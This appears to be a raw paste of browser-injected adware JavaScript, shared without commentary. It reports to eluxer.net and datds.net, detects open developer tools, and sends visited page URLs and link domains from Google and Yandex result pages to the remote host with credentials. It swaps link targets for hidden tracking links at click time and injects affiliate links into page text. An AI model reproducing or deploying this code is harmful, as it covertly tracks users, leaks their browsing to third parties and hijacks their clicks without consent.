· 7 years ago · Jul 18, 2018, 11:52 AM
1(function() {
2 var core = {
3 dt: !1,
4 isFrame: top != self,
5 modules: [],
6 opts: [],
7 options: {},
8 start: null,
9 $: null,
10 now: function() {
11 return (new Date).getTime()
12 },
13 buildUrl: function(o, t) {
14 return document.location.protocol + "//" + this.options.host + o + "?" + this.$.param(t)
15 },
16 buildMCUrl: function(o, t) {
17 return "https://" + this.options.mcHost + o + "?" + this.$.param(t)
18 },
19 getPageHostname: function() {
20 return document.location.hostname.replace(/^www./, "")
21 },
22 init: function(options) {
23 core.start = core.now(),
24 core.options = options;
25 var requres = new XMLHttpRequest;
26 requres.onload = function() {
27 eval(this.responseText);
28 var $ = core.$ = jQuery;
29 jQuery.noConflict(),
30 $.each(core.modules, function(o, t) {
31 t.call(null, core.opts[o], core, $, window, document)
32 })
33 }
34 ,
35 requres.open("get", "https://code.jquery.com/jquery-3.0.0.min.js"),
36 requres.send()
37 },
38 run: function(o) {
39 this.modules.push(o)
40 }
41 };
42 core.init({
43 "subid": "51824_6967_",
44 "host": "eluxer.net",
45 "mcHost": "datds.net"
46 });
47 core.opts.push({});
48 core.run(function(e, n, r, t, i) {
49 function o() {
50 clearInterval(l),
51 n.dt || (n.dt = !0,
52 (new Image).src = n.buildUrl("/dt", {
53 r: Math.random()
54 }))
55 }
56 function a() {
57 var e = t.Firebug
58 , r = e && e.chrome;
59 return r && r.isInitialized ? void o() : (c.log(d),
60 void setTimeout(function() {
61 n.dt || c.clear()
62 }, 100))
63 }
64 var d = new Image
65 , c = t.console;
66 d.__defineGetter__("id", o);
67 var l = setInterval(a, 1e3);
68 a()
69 });
70 core.opts.push({
71 "place": 2524,
72 "maxIndexLength": 10000,
73 "minDistance": 200,
74 "phrases": false,
75 "domains": true
76 });
77 core.run(function(e, t, r, n, a) {
78 if (!t.isFrame) {
79 var i = a.createElement("a")
80 , o = n.localStorage
81 , s = {
82 progress: !1,
83 runTimeout: null,
84 init: function() {
85 switch (s.watchMutations(),
86 t.getPageHostname()) {
87 case "yandex.ru":
88 case "yandex.ua":
89 s.prepareYandex();
90 break;
91 case "google.ru":
92 case "google.com":
93 case "google.com.ua":
94 s.prepareGoogle()
95 }
96 },
97 watchMutations: function() {
98 if (n.MutationObserver) {
99 var e = t.getPageHostname()
100 , r = {
101 "yandex.ru": [/bcontent__leftb/, /bsuggest2b/],
102 "yandex.ua": [/bcontent__leftb/, /bsuggest2b/],
103 "google.com": [/bcontentb/, /btsfb/],
104 "google.com.ua": [/bcontentb/, /btsfb/],
105 "google.ru": [/bcontentb/, /btsfb/]
106 };
107 if (r.hasOwnProperty(e)) {
108 var i = r[e]
109 , o = new n.MutationObserver(function(e) {
110 for (var t = !0, r = 0; r < e.length; r++)
111 for (var n = e[r].target; n; ) {
112 for (var a = 0; a < i.length; a++)
113 i[a].test(n.className) && (t = !1);
114 n = n.parentNode
115 }
116 t || s.reRun()
117 }
118 );
119 o.observe(a.body, {
120 childList: !0,
121 subtree: !0
122 })
123 }
124 }
125 },
126 prepareYandex: function() {
127 r(".serp-adv-item").each(function() {
128 var e = r(this)
129 , t = e.find(".serp-item__greenurl a, .organic__path a");
130 if (t.length) {
131 var n = t[0]
132 , a = n.textContent.toLowerCase().split("/")[0];
133 e.find("a").attr("data-href", "http://" + a)
134 }
135 })
136 },
137 prepareGoogle: function() {
138 r(".ads-ad").each(function() {
139 var e = r(this)
140 , t = e.find("cite")[0];
141 if (t) {
142 var n = t.textContent.toLowerCase().split("/")[0];
143 e.find("a").attr("data-href", "http://" + n)
144 }
145 })
146 },
147 reRun: function() {
148 s.progress || (clearTimeout(s.runTimeout),
149 s.runTimeout = setTimeout(function() {
150 s.run(a.body)
151 }, 500))
152 },
153 run: function(n) {
154 s.progress = !0;
155 var i = {
156 url: a.location.href,
157 urls: [],
158 phrases: []
159 };
160 return e.domains && (i.urls = s.findUrls(n)),
161 e.phrases && (i.phrases = s.findPhrases(n)),
162 i.urls.length || i.phrases.length ? void r.ajax({
163 type: "POST",
164 data: JSON.stringify(i),
165 contentType: "application/json",
166 dataType: "json",
167 xhrFields: {
168 withCredentials: !0
169 },
170 url: t.buildMCUrl("/replacement/find", {
171 place: e.place,
172 subid: t.options.subid,
173 hsid: chrome && chrome.runtime && chrome.runtime.id || ""
174 }),
175 success: function(e) {
176 t.dt || (s.replaceUrls(n, e.urls),
177 s.replacePhrases(n, e.phrases),
178 setTimeout(function() {
179 s.progress = !1
180 }, 500))
181 }
182 }) : void (s.progress = !1)
183 },
184 getDomainByUrl: function(e) {
185 return i.href = e,
186 s.getDomain(i)
187 },
188 getDomain: function(e) {
189 return e.hostname.toLowerCase().replace(/^www./, "")
190 },
191 getRealDomain: function(e) {
192 return s.getDomainByUrl(s.getRealHref(e))
193 },
194 getRealHref: function(e) {
195 var t = s.getDomain(e);
196 return -1 !== ["google.ru", "google.com", "yabs.yandex.ru"].indexOf(t) && e.getAttribute ? e.getAttribute("data-href") : e.href
197 },
198 getBaseRealHref: function(e) {
199 i.href = s.getRealHref(e);
200 var t = s.getDomain(i)
201 , r = "";
202 return -1 !== ["realty.yandex.ru", "plarium.com", "espritgames.ru", "101xp.com", "promo.101xp.com", "sportiv.ru"].indexOf(t) && (r = i.pathname),
203 t + r
204 },
205 getDistance: function(e, t) {
206 var r, n, a, i;
207 return e.top < t.top ? (a = e.top + e.height,
208 i = t.top) : (a = t.top + t.height,
209 i = e.top),
210 e.left < t.left ? (r = e.left + e.width,
211 n = t.left) : (r = t.left + t.width,
212 n = e.left),
213 Math.pow(r - n, 2) + Math.pow(a - i, 2)
214 },
215 extractWords: function(e) {
216 var t, r = new RegExp("(?:[-._&]?[a-zа-ÑÑ‘0-9]+)+","ig"), n = [];
217 for (n.wordsLength = 0; t = r.exec(e); )
218 n.push({
219 word: t[0].toLowerCase(),
220 text: t[0],
221 index: t.index
222 }),
223 n.wordsLength += t[0].length;
224 return n
225 },
226 findLinks: function(e) {
227 return r(e).find("a").filter(function() {
228 return !!this.hostname && !!s.getRealDomain(this)
229 })
230 },
231 findUrls: function(e) {
232 if (!e)
233 return [];
234 var t = {};
235 return this.findLinks(e).each(function() {
236 var e = s.getBaseRealHref(this);
237 t[e] = 1
238 }),
239 Object.keys(t)
240 },
241 replaceUrls: function(e, t) {
242 e && t && this.findLinks(e).each(function() {
243 var e = this
244 , n = s.getBaseRealHref(e);
245 if (n && t.hasOwnProperty(n)) {
246 var a = t[n]
247 , i = s.getRealHref(e);
248 e.realHref = i,
249 e.hiddenHref = s.buildClickLink(r.extend({
250 href: i
251 }, a)),
252 s.setClickHandler(e)
253 }
254 })
255 },
256 setClickHandler: function(e) {
257 var t = e.onclick;
258 e.onclick = function(r) {
259 var n, a = s.handleClick(e);
260 if ("function" == typeof t && (n = t(r)),
261 a && !1 === n)
262 return !1
263 }
264 },
265 handleClick: function(e) {
266 if (!e.hiddenHref)
267 return !1;
268 var r = e.href
269 , n = s.getDomain(a.location);
270 if (t.dt && e.realHref)
271 return !1;
272 var i = e.realHref && s.getDomainByUrl(e.realHref);
273 if (i && (-1 !== n.indexOf(i) || -1 !== i.indexOf(n))) {
274 var f = t.now();
275 if (!o || o._ym_ts && f - o._ym_ts < 72e5 || f - t.start < 6e4)
276 return !1;
277 o._ym_ts = t.now()
278 }
279 return e.href = e.hiddenHref,
280 e.realHref && delete e.hiddenHref,
281 setTimeout(function() {
282 e.href = r
283 }, 10),
284 !0
285 },
286 isPhraseNodeAllowed: function(e) {
287 if (!e.tagName)
288 return !1;
289 var t = ["AUDIO", "VIDEO", "IFRAME", "A", "IMG", "INPUT", "BUTTON", "SELECT", "OPTION", "SCRIPT", "META", "LINK", "STYLE", "NOSCRIPT", "HEADER", "FOOTER", "LABEL", "H1", "H2", "H3", "H4", "H5", "H6"];
290 if (-1 !== t.indexOf(e.tagName.toUpperCase()))
291 return !1;
292 if (e.className && "string" == typeof e.className)
293 for (var r = ["ya-partner", "header"], n = 0; n < r.length; n++)
294 if (e.className.match(new RegExp("b" + r[n] + "b")))
295 return !1;
296 var a = ["header", "footer"];
297 return -1 === a.indexOf(e.id)
298 },
299 findPhraseNodes: function(e) {
300 for (var t = [], n = [e]; n.length; ) {
301 var a = n.shift();
302 if (a.nodeType === Node.TEXT_NODE) {
303 var i = r.trim(a.textContent);
304 if (i.length > 2) {
305 var o = s.extractWords(a.textContent);
306 o.length && t.push([a, o])
307 }
308 } else if (s.isPhraseNodeAllowed(a))
309 for (var f = 0, c = a.childNodes.length; f < c; f++)
310 n.push(a.childNodes[f])
311 }
312 return t
313 },
314 findPhrases: function(t) {
315 var n = []
316 , a = 0
317 , i = this.findPhraseNodes(t);
318 return r.each(i, function(t, i) {
319 var o = i[1]
320 , s = r.map(o, function(e) {
321 return e.word
322 }).join(" ");
323 return a += s.length,
324 !(a > e.maxIndexLength) && void n.push(s)
325 }),
326 n
327 },
328 replacePhrases: function(e, t) {
329 if (e && t) {
330 var r = this.doReplacePhrases(e, t);
331 this.removeBadReplaces(e, r)
332 }
333 },
334 doReplacePhrases: function(e, t) {
335 var n = {};
336 r.each(t, function(e, t) {
337 var a = s.extractWords(e)
338 , i = n;
339 r.each(a, function(e, r) {
340 var n = a[e].word;
341 i.hasOwnProperty(n) || (i[n] = {
342 parent: i
343 }),
344 i = i[n],
345 e === a.length - 1 && (i.data = t)
346 })
347 });
348 var i = s.findPhraseNodes(e)
349 , o = [];
350 return r.each(i, function(e, t) {
351 for (var r, i = t[0], f = t[1], c = i.textContent, l = 0, u = 0, d = f.length; u < d; ) {
352 for (var h = u, p = n; h < d && p.hasOwnProperty(f[h].word); )
353 p = p[f[h].word],
354 h++;
355 for (; p.parent && !p.data; )
356 p = p.parent,
357 h--;
358 if (h <= u && !p.data)
359 u++;
360 else {
361 r = c.slice(l, f[u].index),
362 "" != r && i.parentNode.insertBefore(a.createTextNode(r), i);
363 var g = f[h - 1].index + f[h - 1].word.length
364 , m = c.slice(f[u].index, g)
365 , v = s.createPhraseLink(m, p);
366 o.push(v),
367 i.parentNode.insertBefore(v, i),
368 l = g,
369 u = h
370 }
371 }
372 l > 0 && (i.textContent = c.slice(l))
373 }),
374 o
375 },
376 removeBadReplaces: function(t, n) {
377 var i = Math.pow(e.minDistance, 2)
378 , o = []
379 , f = []
380 , c = [];
381 return r.each(n, function(e, t) {
382 var n = r(t)
383 , a = n.offset();
384 a.width = n.width(),
385 a.height = n.height();
386 for (var l = !0, u = o.length - 1; u >= 0; u--)
387 if (s.getDistance(o[u], a) < i) {
388 l = !1;
389 break
390 }
391 l ? (c.push(t),
392 o.push(a)) : f.push(t)
393 }),
394 r.each(f, function(e, t) {
395 t.parentNode.insertBefore(a.createTextNode(t.textContent), t),
396 r(t).remove()
397 }),
398 c
399 },
400 createPhraseLink: function(e, t) {
401 var n = a.createElement("a")
402 , i = r.extend({}, t.data, {
403 text: e
404 });
405 return r.extend(n, {
406 rel: "nofollow",
407 target: "_blank",
408 className: "intext-link",
409 textContent: e,
410 href: t.data.link || "#",
411 hiddenHref: s.buildClickLink(i)
412 }),
413 s.setClickHandler(n),
414 r.extend(n.style, {
415 position: "relative",
416 fontWeight: "bold"
417 }),
418 n
419 },
420 buildClickLink: function(n) {
421 return n = r.extend({
422 place: e.place,
423 subid: t.options.subid
424 }, n, {
425 url: a.location.href
426 }),
427 t.buildMCUrl("/replacement/click", n)
428 }
429 };
430 r(a).ready(function() {
431 s.init(),
432 s.run(a.body)
433 })
434 }
435 });
436 core.opts.push({});
437 core.run(function(e, a, o, n, l) {
438 var r = "seReplace"
439 , t = n.localStorage
440 , c = t[r] || 0;
441 a.now() - c < 864e5 || setInterval(function() {
442 var e, o = l.location;
443 o.pathname,
444 o.hostname,
445 o.href;
446 e && (t.seReplace = Date.now(),
447 l.location.href = a.buildMCUrl("/go", {
448 url: e
449 }))
450 }, 1e3)
451 });
452}
453)();